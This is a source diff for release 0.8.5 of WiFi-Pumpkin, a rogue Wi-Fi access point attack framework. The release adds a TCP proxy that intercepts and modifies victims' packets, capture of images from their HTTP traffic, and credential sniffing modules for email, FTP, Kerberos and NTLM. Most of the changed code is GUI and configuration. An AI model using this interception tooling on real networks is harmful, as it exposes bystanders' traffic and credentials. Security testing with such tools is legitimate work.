diff --git a/CHANGELOG b/CHANGELOG
index 8a22756..bf31af7 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,3 +1,16 @@
+Version 0.8.5
+-------------
+- added new plugin TCP-Proxy
+- added capture image HTTP request (Tab ImageCap)
+- added new HTTP-request widgets get info from Headers requests
+- added new columm (url) on HTTP-Authentication
+- added now WF allow to start without internet connection
+- added option that exclude USB card on start
+- added support to use 2 wireless cards #211
+- remove netcreds plugin thks for all DanMcInerney
+- added Python DNS Server improvements #165
+- added new style in progressbar on home
+
Version 0.8.4
-------------
- added new plugin Pumpkin-Proxy (mitmproxy API)
diff --git a/README.md b/README.md
index ef7a2ee..d3108b2 100644
--- a/README.md
+++ b/README.md
@@ -40,11 +40,13 @@ refer to the wiki for [Installation](https://github.com/P0cL4bs/WiFi-Pumpkin/wik
* Karma Attacks (support hostapd-mana)
* LLMNR, NBT-NS and MDNS poisoner (Responder)
* Pumpkin-Proxy (ProxyServer (mitmproxy API))
+* Capture images on the fly
+* TCP-Proxy
+
### Plugins
| Plugin | Description |
|:-----------|:------------|
-[net-creds](https://github.com/DanMcInerney/net-creds) | Sniff passwords and hashes from an interface or pcap file
[dns2proxy](https://github.com/LeonardoNve/dns2proxy) | This tools offer a different features for post-explotation once you change the DNS server to a Victim.
[sslstrip2](https://github.com/LeonardoNve/sslstrip2) | Sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks based version fork @LeonardoNve/@xtr4nge.
[sergio-proxy](https://github.com/supernothing/sergio-proxy) | Sergio Proxy (a Super Effective Recorder of Gathered Inputs and Outputs) is an HTTP proxy that was written in Python for the Twisted framework.
@@ -114,6 +116,57 @@ class Nameplugin(PluginTemplate):
#### About plugins
[plugins](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/Plugins) on the wiki
+#### TCP/UDP Proxy
+A proxy that you can place between in a TCP stream. It filters the request and response streams with ([scapy](http://www.secdev.org/projects/scapy/) module) and actively modify packets of a TCP protocol that gets intercepted by WiFi-Pumpkin. this plugin uses modules to view or modify the intercepted data that possibly easiest implementation of a module, just add your custom module on "plugins/analyzers/" automatically will be listed on TCP/UDP Proxy tab.
+
+``` python
+from scapy.all import *
+from scapy_http import http # for layer HTTP
+from default import PSniffer # base plugin class
+
+class ExamplePlugin(PSniffer):
+ _activated = False
+ _instance = None
+ meta = {
+ 'Name' : 'Example',
+ 'Version' : '1.0',
+ 'Description' : 'Brief description of the new plugin',
+ 'Author' : 'your name',
+ }
+ def __init__(self):
+ for key,value in self.meta.items():
+ self.__dict__[key] = value
+
+ @staticmethod
+ def getInstance():
+ if ExamplePlugin._instance is None:
+ ExamplePlugin._instance = ExamplePlugin()
+ return ExamplePlugin._instance
+
+ def filterPackets(self,pkt): # (pkt) object in order to modify the data on the fly
+ if pkt.haslayer(http.HTTPRequest): # filter only http request
+
+ http_layer = pkt.getlayer(http.HTTPRequest) # get http fields as dict type
+ ip_layer = pkt.getlayer(IP)# get ip headers fields as dict type
+
+ print http_layer.fields['Method'] # show method http request
+ # show all item in Header request http
+ for item in http_layer.fields['Headers']:
+ print('{} : {}'.format(item,http_layer.fields['Headers'][item]))
+
+ print ip_layer.fields['src'] # show source ip address
+ print ip_layer.fields['dst'] # show destiny ip address
+
+ print http_layer # show item type dict
+ print ip_layer # show item type dict
+
+ return self.output.emit({'name_module':{'IP': ip_layer.fields,
+ 'Headers': http_layer.fields}})
+
+```
+#### About TCP/UDP Proxy
+[TCP/UDPProxy](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/TCP-UDPProxy) on the wiki
+
### Screenshots
[Screenshot](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/Screenshots) on the wiki
diff --git a/core/config/app/config.ini b/core/config/app/config.ini
index 6f16c39..4eb1ffb 100644
--- a/core/config/app/config.ini
+++ b/core/config/app/config.ini
@@ -14,11 +14,14 @@ hostapd_custom=false
statusAP=false
dhcpd_server=false
pydhcp_server=true
+pydns_server=true
+dnsproxy_server=false
channel=11
ssid=PumpAP
interfaceAP=None
sessions={}
persistNetwokManager=false
+checkConnectionWifi=true
check_support_ap_mode=true
enable_Security=false
WPA_SharedKey=1234567890
@@ -73,16 +76,17 @@ range=10.0.0.20/10.0.0.50
[dockarea]
advanced=true
-dock_credencials=false
+dock_credencials=true
dock_urlmonitor=true
dock_bdfproxy=false
dock_dns2proxy=false
dock_responder=false
-dock_PumpkinProxy=true
+dock_PumpkinProxy=false
+dock_tcpproxy=true
[plugins]
noproxy=false
-netcreds_plugin=true
+tcpproxy_plugin=true
dns2proxy_plugin=false
sergioproxy_plugin=false
bdfproxy_plugin=false
diff --git a/core/config/app/tcpproxy.ini b/core/config/app/tcpproxy.ini
new file mode 100644
index 0000000..bc061e6
--- /dev/null
+++ b/core/config/app/tcpproxy.ini
@@ -0,0 +1,9 @@
+[plugins]
+emails=true
+ftp=true
+hexdump=true
+imageCap=true
+httpCap=true
+summary=true
+kerberos=true
+NTLMSSP=true
diff --git a/core/config/commits/Lcommits.cfg b/core/config/commits/Lcommits.cfg
index 9e54cfc..3e35bea 100644
--- a/core/config/commits/Lcommits.cfg
+++ b/core/config/commits/Lcommits.cfg
@@ -1,4 +1,19 @@
master:
+[
+ { Version: '0.8.5'}
+ { changelog : 'added new plugin TCP-Proxy' },
+ { changelog : 'added capture image HTTP request (Tab ImageCap)' },
+ { changelog : 'added new HTTP-request widgets get info from Headers requests' },
+ { changelog : 'added new columm (url) on HTTP-Authentication' },
+ { changelog : 'added now WF allow to start without internet connection' },
+ { changelog : 'added option that exclude USB card on start' },
+ { changelog : 'added support to use 2 wireless cards #211' },
+ { changelog : 'remove netcreds plugin thks for all DanMcInerney' },
+ { changelog : 'added Python DNS Server improvements #165' },
+ { changelog : 'added new style in progressbar on home' },
+]
+
+WiFiPumpkin084:
[
{ Version: '0.8.4'}
{ changelog : 'added new plugin Pumpkin-Proxy (mitmproxy API)' },
diff --git a/core/config/hostapd/hostapd+.conf b/core/config/hostapd/hostapd+.conf
index a1f84a0..b9cd52e 100644
--- a/core/config/hostapd/hostapd+.conf
+++ b/core/config/hostapd/hostapd+.conf
@@ -17,7 +17,6 @@ driver=nl80211
#ignore_broadcast_ssid=0 #AP will broadcast SSID
#macaddr_acl=0 #not use MAC address allow/deny list
#auth_algs=1 #Shared Key Authentication
-#ignore_broadcast_ssid=0 #AP will broadcast SSID
### hostapd event logger configuration
#logger_syslog=127
diff --git a/core/helpers/about.py b/core/helpers/about.py
index 1e2c4d7..1f0c7c2 100644
--- a/core/helpers/about.py
+++ b/core/helpers/about.py
@@ -38,7 +38,7 @@ def __init__(self,parent = None):
self.formMode.addRow(QLabel('@mitmproxy'))
self.formMode.addRow(QLabel('ProxyServer tranparent HTTP proxy
'))
self.formMode.addRow(QLabel('@TimSchumi'))
- self.formMode.addRow(QLabel('Debian package build for WiFi-Pumpkin
'))
+ self.formMode.addRow(QLabel('Debian package build and password improvements
'))
self.formMode.addRow(QLabel('@psychomario'))
self.formMode.addRow(QLabel('PyPXE class implements a DHCP Server
'))
self.formMode.addRow(QLabel('@xtr4nge'))
@@ -52,8 +52,6 @@ def __init__(self,parent = None):
self.formMode.addRow(QLabel('Plugin Responder
'))
self.formMode.addRow(QLabel('Ben Schmidt @supernothing'))
self.formMode.addRow(QLabel('Plugin SergioProxy - bypass HSTS
'))
- self.formMode.addRow(QLabel('Dan McInerney @danhmcinerney'))
- self.formMode.addRow(QLabel('Plugin Netcreds - Sniffs sensitive data
'))
self.formMode.addRow(QLabel('Yasin Uludag'))
self.formMode.addRow(QLabel('theme1.qss - Qt dark orange stylesheet
'))
self.formMode.addRow(QLabel('Colin Duquesnoy @ColinDuquesnoy'))
@@ -118,7 +116,7 @@ def Qui_update(self):
self.formAbout.addRow(QLabel('Feedback:'))
self.formAbout.addRow(QLabel(self.emails[0]))
self.formAbout.addRow(QLabel(self.emails[1]+'
'))
- self.formAbout.addRow(QLabel('Copyright 2015-2016, '+self.author[:-14]))
+ self.formAbout.addRow(QLabel('Copyright 2015-2017, '+self.author[:-14]))
self.gnu = QLabel('License: GNU General Public License Version
')
self.gnu.linkActivated.connect(self.link)
self.formAbout.addRow(self.gnu)
diff --git a/core/helpers/report.py b/core/helpers/report.py
index 178e3f9..2ed0db6 100644
--- a/core/helpers/report.py
+++ b/core/helpers/report.py
@@ -4,13 +4,16 @@
from PyQt4.QtWebKit import QWebView
except Exception:
QWebView_checker = False
+from os import getcwd,listdir
+from shutil import copyfile
+from os import path,mkdir
"""
Description:
This program is a module for wifi-pumpkin.py. Report FIles Logger PDF or HTML
Copyright:
- Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
@@ -62,13 +65,35 @@ def convertIt(self,printer):
self.ExportPDF.print_(printer)
QMessageBox.information(self, 'WiFi Pumpkin Report PDF', 'file PDF has been generated successfully.')
+ def getImagesCapturedSession(self,session):
+ ''' find images by session for export '''
+ list_images = []
+ if session == '':
+ for image in listdir('logs/ImagesCap/'):
+ list_images.append('{}/logs/ImagesCap/{}'.format(getcwd(),image))
+ return list_images
+ for image in listdir('logs/ImagesCap'):
+ if session in image:
+ list_images.append('{}/logs/ImagesCap/{}'.format(getcwd(),image))
+ return list_images
+
+ def ExportImagesCaptured(self,filename):
+ ''' get images captured on session and copy to folter images_captured '''
+ if len(filename[0]) != 0:
+ pathdir = path.dirname(str(filename[0]))+'/images_captured/'
+ if self.files_images != []:
+ if not path.exists(pathdir):
+ mkdir(pathdir)
+ for file in self.files_images:
+ copyfile(file,pathdir+path.basename(file))
+
def exportFilesSystem(self):
# export HTML or pdf file
all_unchecked = self.get_all_items_Unchecked()
if not self.checkHTML.isChecked() and not self.checkPDF.isChecked():
return QMessageBox.warning(self, 'WiFi Pumpkin Options',
'You have to select a option file type for export.')
- if len(all_unchecked.keys()) == 9:
+ if len(all_unchecked.keys()) == Refactor.exportHtml(all_unchecked,'')['Count']:
return QMessageBox.warning(self, 'WiFi Pumpkin empty session',
'logger:ERROR Could not find log files.')
@@ -80,6 +105,7 @@ def exportFilesSystem(self):
[self.sessions[key]['started'],self.sessions[key]['stoped']],apname)
sessions_activated = key
break
+ self.files_images = self.getImagesCapturedSession(sessions_activated)
if sessions_activated == '':
contents = Refactor.exportHtml(all_unchecked,sessions_activated)
@@ -102,6 +128,8 @@ def exportFilesSystem(self):
printer.setOutputFileName(filename[0])
self.convertIt(printer)
+ self.ExportImagesCaptured(filename)
+
@pyqtSlot(QModelIndex)
def combo_clicked(self, session):
# get activated logger files
diff --git a/core/helpers/update.py b/core/helpers/update.py
index 8ed761b..44b3348 100644
--- a/core/helpers/update.py
+++ b/core/helpers/update.py
@@ -11,7 +11,7 @@
This program is a module for wifi-pumpkin.py. GUI update from github
Copyright:
- Copyright (C) 2015 Marcos Nesster P0cl4bs Team
+ Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
@@ -174,10 +174,33 @@ def __init__(self, parent=None, total=0):
font=QFont('White Rabbit')
font.setPointSize(5)
self.setFont(font)
+ self.effect = QGraphicsOpacityEffect(self)
+ self.setGraphicsEffect(self.effect)
+ self.animationIn = QPropertyAnimation(self.effect, 'opacity')
+ self.animationIn.setDuration(300)
+ self.animationIn.setStartValue(0)
+ self.animationIn.setEndValue(1.0)
+ self.animationIn.start()
self._active = False
self.setAlignment(Qt.AlignCenter)
self._text = None
+ def hideProcessbar(self):
+ self.animationOut = QPropertyAnimation(self.effect, 'opacity')
+ self.animationOut.setDuration(300)
+ self.animationOut.setStartValue(1.0)
+ self.animationOut.setEndValue(0)
+ self.animationOut.start()
+ self.animationOut.finished.connect(self.hide)
+
+ def showProcessBar(self):
+ self.animationIn = QPropertyAnimation(self.effect, 'opacity')
+ self.animationIn.setDuration(300)
+ self.animationIn.setStartValue(0)
+ self.animationIn.setEndValue(1.0)
+ self.animationIn.start()
+ self.show()
+
def setText(self, text):
self._text = text
diff --git a/core/loaders/checker/check_depen.py b/core/loaders/checker/depedences.py
similarity index 100%
rename from core/loaders/checker/check_depen.py
rename to core/loaders/checker/depedences.py
diff --git a/core/loaders/checker/networkmanager.py b/core/loaders/checker/networkmanager.py
new file mode 100755
index 0000000..78582bd
--- /dev/null
+++ b/core/loaders/checker/networkmanager.py
@@ -0,0 +1,188 @@
+from PyQt4.QtGui import *
+from subprocess import Popen
+from core.utils import Refactor
+from core.main import Initialize
+from core.utility.settings import frm_Settings
+from core.widgets.notifications import ServiceNotify
+"""
+Description:
+ This program is a core for modules wifi-pumpkin.py. file which includes all Implementation
+ for exclude network manager card.
+
+Copyright:
+ Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see
+"""
+
+class UI_NetworkManager(QWidget):
+ def __init__(self, parent = None):
+ super(UI_NetworkManager, self).__init__(parent)
+ self.label = QLabel()
+ self.Main = QVBoxLayout()
+ self.config = frm_Settings()
+ self.setGeometry(0, 0, 300, 120)
+ self.setWindowTitle('Checking Connection')
+ self.loadtheme(self.config.XmlThemeSelected())
+ self.center()
+ self.UI()
+
+ def closeEvent(self, event):
+ print('Loading GUI...')
+ app = Initialize()
+ app.setWindowIcon(QIcon('icons/icon.ico'))
+ if self.check_no_internet.isChecked:
+ app.form_widget.InternetShareWiFi = False # show window without internet connection
+ app.center()
+ app.show()
+ print('WiFi-Pumpkin Running!')
+
+ def loadtheme(self,theme):
+ sshFile=('core/%s.qss'%(theme))
+ with open(sshFile,"r") as fh:
+ self.setStyleSheet(fh.read())
+
+ def center(self):
+ frameGm = self.frameGeometry()
+ centerPoint = QDesktopWidget().availableGeometry().center()
+ frameGm.moveCenter(centerPoint)
+ self.move(frameGm.topLeft())
+
+ def statusInetrnet(self,bool):
+ if bool:
+ self.statusLabel.setText("[ON]")
+ self.statusLabel.setStyleSheet("QLabel { color : green; }")
+ else:
+ self.statusLabel.setText("[OFF]")
+ self.statusLabel.setStyleSheet("QLabel { color : red; }")
+
+ def getstatus_checkbox(self):
+ if self.check_no_internet.isChecked():
+ return self.btn_start.setEnabled(True)
+ self.btn_start.setEnabled(False)
+
+ def get_interfaceConnected(self):
+ self.networkManager = CLI_NetworkManager()
+ if self.networkManager.isWiFiConnected():
+ self.cb_ifaces.addItem(self.networkManager.getInterfaceDefault())
+ self.statusInetrnet(True)
+ self.btn_start.setEnabled(True)
+ self.check_no_internet.setEnabled(False)
+
+ def startGUI(self):
+ self.btn_start.setEnabled(False)
+ self.close()
+
+ def UI(self):
+ self.widget = QWidget()
+ self.statusBar = QStatusBar()
+ self.layout = QVBoxLayout(self.widget)
+ self.statusLabel = QLabel()
+ self.statusInetrnet(False)
+ self.statusBar.setFixedHeight(20)
+ self.statusBar.addWidget(QLabel('Status Connection::'))
+ self.statusBar.addWidget(self.statusLabel)
+
+ self.groupBoxIface = QGroupBox()
+ self.components = QHBoxLayout()
+ self.compostart = QHBoxLayout()
+ self.checkboxlayout = QFormLayout()
+ self.btn_refrash = QPushButton('Refresh')
+ self.btn_start = QPushButton('Start GUI..')
+ self.cb_ifaces = QComboBox()
+ self.check_no_internet = QCheckBox('Start without connection.')
+
+ self.check_no_internet.clicked.connect(self.getstatus_checkbox)
+ self.btn_refrash.clicked.connect(self.get_interfaceConnected)
+ self.btn_start.clicked.connect(self.startGUI)
+ self.groupBoxIface.setTitle('Interface/Wireless')
+ self.btn_refrash.setIcon(QIcon('icons/refresh.png'))
+ self.btn_start.setIcon(QIcon('icons/start.png'))
+ self.btn_start.setEnabled(False)
+ self.compostart.addStretch(1)
+ self.compostart.addWidget(self.btn_start)
+ self.groupBoxIface.setLayout(self.components)
+ self.components.addWidget(self.cb_ifaces)
+ self.components.addWidget(self.btn_refrash)
+ self.checkboxlayout.addWidget(self.check_no_internet)
+
+ self.infor = ServiceNotify('Click the "Refresh" for try detect your connection.',
+ title='Attention',link=None,timeout=30000)
+ self.layout.addWidget(self.infor)
+ self.layout.addWidget(self.groupBoxIface)
+ self.layout.addLayout(self.checkboxlayout)
+ self.layout.addLayout(self.compostart)
+ self.layout.addWidget(self.statusBar)
+ self.Main.addWidget(self.widget)
+ self.setLayout(self.Main)
+
+
+class CLI_NetworkManager(object):
+ ''' exclude USB card on startup 1.0'''
+ def __init__(self,parent = None):
+ super(CLI_NetworkManager, self).__init__()
+ self.interfaces = Refactor.get_interfaces()
+ self.mn_path = '/etc/NetworkManager/NetworkManager.conf'
+ self.ifaceAvaliable = []
+ self.flag = 0
+
+ def isWiFiConnected(self):
+ ''' check if interface default is type wireless '''
+ if self.interfaces['activated'][1] == 'wireless':
+ return True
+ return False
+
+ def getInterfaceDefault(self):
+ return self.interfaces['activated'][0]
+
+ def remove_settingsNM(self):
+ ''' remove all wireless from Network-Manager.conf '''
+ if self.get_ifacesAllWireless():
+ for interface in self.ifaceAvaliable:
+ Refactor.settingsNetworkManager(interface,Remove=True)
+
+ def get_ifacesAllWireless(self):
+ ''' get only wireless interface '''
+ if self.isWiFiConnected():
+ for iface in self.interfaces['all']:
+ if iface[:2] in ['wl', 'wi', 'ra', 'at']:
+ if iface != self.interfaces['activated'][0]:
+ self.ifaceAvaliable.append(iface)
+ return True
+ return False
+
+ def check_interfaceinNetWorkManager(self,interface):
+ ''' check if interface is already in file config'''
+ mac = Refactor.get_interface_mac(interface)
+ if mac in open(self.mn_path,'r').read():
+ return True
+ if interface in open(self.mn_path,'r').read():
+ return True
+ return False
+
+ def run(self):
+ if self.get_ifacesAllWireless():
+ if self.ifaceAvaliable != []:
+ for interface in self.ifaceAvaliable:
+ if not self.check_interfaceinNetWorkManager(interface):
+ Refactor.settingsNetworkManager(interface)
+ self.flag = 1
+ if self.flag:
+ Refactor.kill_procInterfaceBusy()
+ Popen(['service', 'network-manager', 'restart'])
+ return True
+ return False
+
+
+
+
diff --git a/core/loaders/models/PackagesUI.py b/core/loaders/models/PackagesUI.py
index ed46f84..fb6179f 100644
--- a/core/loaders/models/PackagesUI.py
+++ b/core/loaders/models/PackagesUI.py
@@ -7,6 +7,28 @@
from modules.servers.PhishingManager import frm_PhishingManager
from core.utility.threads import ThreadPopen,ThreadScan,ProcessThread,ThreadFastScanIP
from core.packets.network import ThARP_posion,ThSpoofAttack
+
+"""
+Description:
+ This program is a core for modules wifi-pumpkin.py. file which includes all Implementation
+ default widgets.
+
+Copyright:
+ Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see
+"""
+
class PumpkinModule(QWidget):
''' this is Qwidget Module base '''
def __init__(self,parent=None,*args):
diff --git a/core/main.py b/core/main.py
index 3e874cb..f8b5544 100644
--- a/core/main.py
+++ b/core/main.py
@@ -30,7 +30,7 @@
)
from core.widgets.tabmodels import (
ProxySSLstrip,PumpkinMitmproxy,PumpkinMonitor,
- PumpkinSettings
+ PumpkinSettings,PacketsSniffer,ImageCapture
)
from core.widgets.popupmodels import (
@@ -54,6 +54,7 @@
from core.widgets.notifications import ServiceNotify
from isc_dhcp_leases.iscdhcpleases import IscDhcpLeases
from netfilterqueue import NetfilterQueue
+from core.servers.proxy.tcp.intercept import ThreadSniffingPackets
"""
Description:
@@ -61,7 +62,7 @@
for mount Access point.
Copyright:
- Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
@@ -80,8 +81,8 @@
author = 'Marcos Nesster (@mh4x0f) P0cl4bs Team'
emails = ['mh4root@gmail.com','p0cl4bs@gmail.com']
license = ' GNU GPL 3'
-version = '0.8.4'
-update = '22/12/2016' # This is Brasil :D
+version = '0.8.5'
+update = '04/05/2017' # This is Brasil :D
desc = ['Framework for Rogue Wi-Fi Access Point Attacks']
class Initialize(QMainWindow):
@@ -150,6 +151,7 @@ class WifiPumpkin(QWidget):
def __init__(self, parent = None,window=None,Fsettings=None):
self.InitialMehtod = window
super(WifiPumpkin, self).__init__(parent)
+ self.InternetShareWiFi = True # share internet options
# check update from github repository
self.Timer = waiterSleepThread()
@@ -167,6 +169,8 @@ def __init__(self, parent = None,window=None,Fsettings=None):
self.Tab_Default = QWidget()
self.Tab_Injector = QWidget()
self.Tab_PumpkinPro = QWidget()
+ self.Tab_Packetsniffer = QWidget()
+ self.Tab_imageCap = QWidget()
self.Tab_Settings = QWidget()
self.Tab_ApMonitor = QWidget()
self.Tab_Plugins = QWidget()
@@ -212,6 +216,18 @@ def __init__(self, parent = None,window=None,Fsettings=None):
self.item_pumpkinProxy.setIcon(QIcon('icons/pumpkinproxy.png'))
self.TabListWidget_Menu.addItem(self.item_pumpkinProxy)
+ self.item_packetsniffer = QListWidgetItem()
+ self.item_packetsniffer.setText('TCP-Proxy')
+ self.item_packetsniffer.setSizeHint(QSize(30,30))
+ self.item_packetsniffer.setIcon(QIcon('icons/tcpproxy.png'))
+ self.TabListWidget_Menu.addItem(self.item_packetsniffer)
+
+ self.item_imageCapture = QListWidgetItem()
+ self.item_imageCapture.setText('Images-Cap')
+ self.item_imageCapture.setSizeHint(QSize(30,30))
+ self.item_imageCapture.setIcon(QIcon('icons/image.png'))
+ self.TabListWidget_Menu.addItem(self.item_imageCapture)
+
self.item_dock = QListWidgetItem()
self.item_dock.setText('Activity-Monitor')
self.item_dock.setSizeHint(QSize(30,30))
@@ -242,12 +258,16 @@ def __init__(self, parent = None,window=None,Fsettings=None):
self.ContentTabsettings= QVBoxLayout(self.Tab_Settings)
self.ContentTabInject = QVBoxLayout(self.Tab_Injector)
self.ContentTabPumpPro = QVBoxLayout(self.Tab_PumpkinPro)
+ self.ContentTabPackets = QVBoxLayout(self.Tab_Packetsniffer)
+ self.ContentImageCap = QHBoxLayout(self.Tab_imageCap)
self.ContentTabMonitor = QVBoxLayout(self.Tab_ApMonitor)
self.ContentTabPlugins = QVBoxLayout(self.Tab_Plugins)
self.Stack.addWidget(self.Tab_Settings)
self.Stack.addWidget(self.Tab_Plugins)
self.Stack.addWidget(self.Tab_Injector)
self.Stack.addWidget(self.Tab_PumpkinPro)
+ self.Stack.addWidget(self.Tab_Packetsniffer)
+ self.Stack.addWidget(self.Tab_imageCap)
self.Stack.addWidget(self.Tab_dock)
self.Stack.addWidget(self.Tab_ApMonitor)
@@ -258,12 +278,10 @@ def __init__(self, parent = None,window=None,Fsettings=None):
'HTTP-Requests': { # netcreds url requests
'active' : self.FSettings.Settings.get_setting('dockarea',
'dock_urlmonitor',format=bool),
- 'splitcode': ':[url]',
},
'HTTP-Authentication': { # netcreds passwords logins
'active' : self.FSettings.Settings.get_setting('dockarea',
'dock_credencials',format=bool),
- 'splitcode': ':[creds]',
},
'BDFProxy': { # plugins bdfproxy ouput
'active' : self.FSettings.Settings.get_setting('dockarea',
@@ -282,7 +300,7 @@ def __init__(self, parent = None,window=None,Fsettings=None):
'dock_PumpkinProxy',format=bool),
}
}
- self.ConfigTwin = {
+ self.SettingsEnable = {
'ProgCheck':[],'AP_iface': None,'PortRedirect': None, 'interface':'None'}
self.THeaders = OrderedDict([ ('Devices',[]),('Mac Address',[]),('IP Address',[]),('Vendors',[])])
# load all session saved in file ctg
@@ -291,7 +309,6 @@ def __init__(self, parent = None,window=None,Fsettings=None):
self.PopUpPlugins = PopUpPlugins(self.FSettings,self) # create popupPlugins
self.PopUpPlugins.sendSingal_disable.connect(self.get_disable_proxy_status)
self.THReactor = ThreadReactor() # thread reactor for sslstrip
- self.checkPlugins() # check plugins activated
self.intGUI()
def get_disable_proxy_status(self,status):
@@ -332,6 +349,16 @@ def PumpkinProxyTABContent(self):
self.PumpkinProxyTAB = PumpkinMitmproxy(main_method=self)
self.ContentTabPumpPro.addLayout(self.PumpkinProxyTAB)
+ def TCPproxyTABContent(self):
+ ''' add Layout page PumpkinProxy in dashboard '''
+ self.PacketSnifferTAB = PacketsSniffer(main_method=self)
+ self.ContentTabPackets.addLayout(self.PacketSnifferTAB)
+
+ def ImageCaptureTABContent(self):
+ ''' add Layout page PumpkinProxy in dashboard '''
+ self.ImageCapTAB = ImageCapture(main_method=self)
+ self.ContentImageCap.addLayout(self.ImageCapTAB)
+
def getContentTabDock(self,docklist):
''' get tab activated in Advanced mode '''
self.dockAreaList = docklist
@@ -350,7 +377,9 @@ def ApMonitorTabContent(self):
def SettingsTABContent(self):
''' add Layout page Pump-settings in dashboard '''
- self.PumpSettingsTAB = PumpkinSettings(None,self.slipt,self.AreaDockInfo,self.Tab_dock,self.FSettings)
+ widgets = {'SettingsAP': self.slipt, 'DockInfo': self.AreaDockInfo,
+ 'Tab_dock': self.Tab_dock, 'Settings': self.FSettings,'Network': self.GroupAdapter}
+ self.PumpSettingsTAB = PumpkinSettings(None,widgets)
self.PumpSettingsTAB.checkDockArea.connect(self.getContentTabDock)
self.PumpSettingsTAB.sendMensage.connect(self.GetmessageSave)
self.ContentTabsettings.addLayout(self.PumpSettingsTAB)
@@ -369,17 +398,18 @@ def DefaultTABContent(self):
self.StatusApname = QLabel('')
self.StatusApchannel = QLabel('')
self.proxy_lstatus = QLabel('[OFF]')
+ self.connected_status = QLabel('')
self.StatusApname.setMaximumWidth(130)
# add widgets in status bar
+ self.StatusBar.addWidget(QLabel('Connected:'))
+ self.StatusBar.addWidget(self.connected_status)
self.StatusBar.addWidget(QLabel('SSID:'))
self.StatusBar.addWidget(self.StatusApname)
self.StatusBar.addWidget(QLabel('Channel:'))
self.StatusBar.addWidget(self.StatusApchannel)
- self.StatusBar.addWidget(QLabel("Access-Point:"))
+ self.StatusBar.addWidget(QLabel("Status-AP:"))
self.StatusBar.addWidget(self.StatusDhcp)
- self.StatusBar.addWidget(QLabel('Injector-Proxy:'))
- self.StatusBar.addWidget(self.proxy_lstatus)
self.StatusBar.addWidget(QLabel('Activate-Plugin:'))
self.StatusBar.addWidget(self.status_plugin_proxy_name)
self.set_proxy_scripts(False)
@@ -402,6 +432,7 @@ def DefaultTABContent(self):
self.EditChannel.setFixedWidth(50)
self.EditApName.setFixedWidth(120)
self.EditGateway.setFixedWidth(120)
+ self.EditGateway.setHidden(True) # disable Gateway
self.selectCard = QComboBox(self)
self.EditApName.textChanged.connect(self.setAP_name_changer)
self.EditChannel.valueChanged.connect(self.setAP_channel_changer)
@@ -450,9 +481,10 @@ def DefaultTABContent(self):
# group for list network adapters
self.GroupAdapter = QGroupBox()
- self.layoutNetworkAd = QFormLayout()
+ self.layoutNetworkAd = QHBoxLayout()
self.GroupAdapter.setTitle('Network Adapter')
- self.layoutNetworkAd.addRow(self.selectCard,self.btrn_refresh)
+ self.layoutNetworkAd.addWidget(self.selectCard)
+ self.layoutNetworkAd.addWidget(self.btrn_refresh)
self.GroupAdapter.setLayout(self.layoutNetworkAd)
# settings info access point
@@ -461,7 +493,6 @@ def DefaultTABContent(self):
self.FormGroup3.addRow('Gateway:', self.EditGateway)
self.FormGroup3.addRow('SSID:', self.EditApName)
self.FormGroup3.addRow('Channel:', self.EditChannel)
- self.FormGroup3.addRow(self.GroupAdapter)
self.GroupAP.setLayout(self.FormGroup3)
self.GroupAP.setFixedWidth(260)
@@ -516,7 +547,7 @@ def DefaultTABContent(self):
self.donatelink = 'https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=PUPJEGHLJPFQL'
self.donateLabel = ServiceNotify('Donations allow us to devote more time to the project so'
' if you are able to donate any amount. click ',title='Attention',
- link=self.donatelink,timeout=15000)
+ link=self.donatelink,timeout=20000)
# set main page Tool
self.widget = QWidget()
self.layout = QVBoxLayout(self.widget)
@@ -530,9 +561,12 @@ def intGUI(self):
self.DefaultTABContent()
self.InjectorTABContent()
self.PumpkinProxyTABContent()
+ self.TCPproxyTABContent()
+ self.ImageCaptureTABContent()
self.SettingsTABContent()
self.ApMonitorTabContent()
self.PluginsTABContent()
+ self.checkPlugins() # check plugins activated
self.myQMenuBar = QMenuBar(self)
self.myQMenuBar.setFixedWidth(400)
@@ -778,8 +812,9 @@ def CheckStatusWPASecurity(self):
def checkPlugins(self):
''' check plugin options saved in file ctg '''
- if self.FSettings.Settings.get_setting('plugins','netcreds_plugin',format=bool):
- self.PopUpPlugins.check_netcreds.setChecked(True)
+ if self.FSettings.Settings.get_setting('plugins','tcpproxy_plugin',format=bool):
+ self.PopUpPlugins.check_tcpproxy.setChecked(True)
+ self.PopUpPlugins.checkBoxTCPproxy()
if self.FSettings.Settings.get_setting('plugins','responder_plugin',format=bool):
self.PopUpPlugins.check_responder.setChecked(True)
@@ -831,6 +866,14 @@ def set_proxy_scripts(self,bool):
self.proxy_lstatus.setText("[OFF]")
self.proxy_lstatus.setStyleSheet("QLabel { color : red; }")
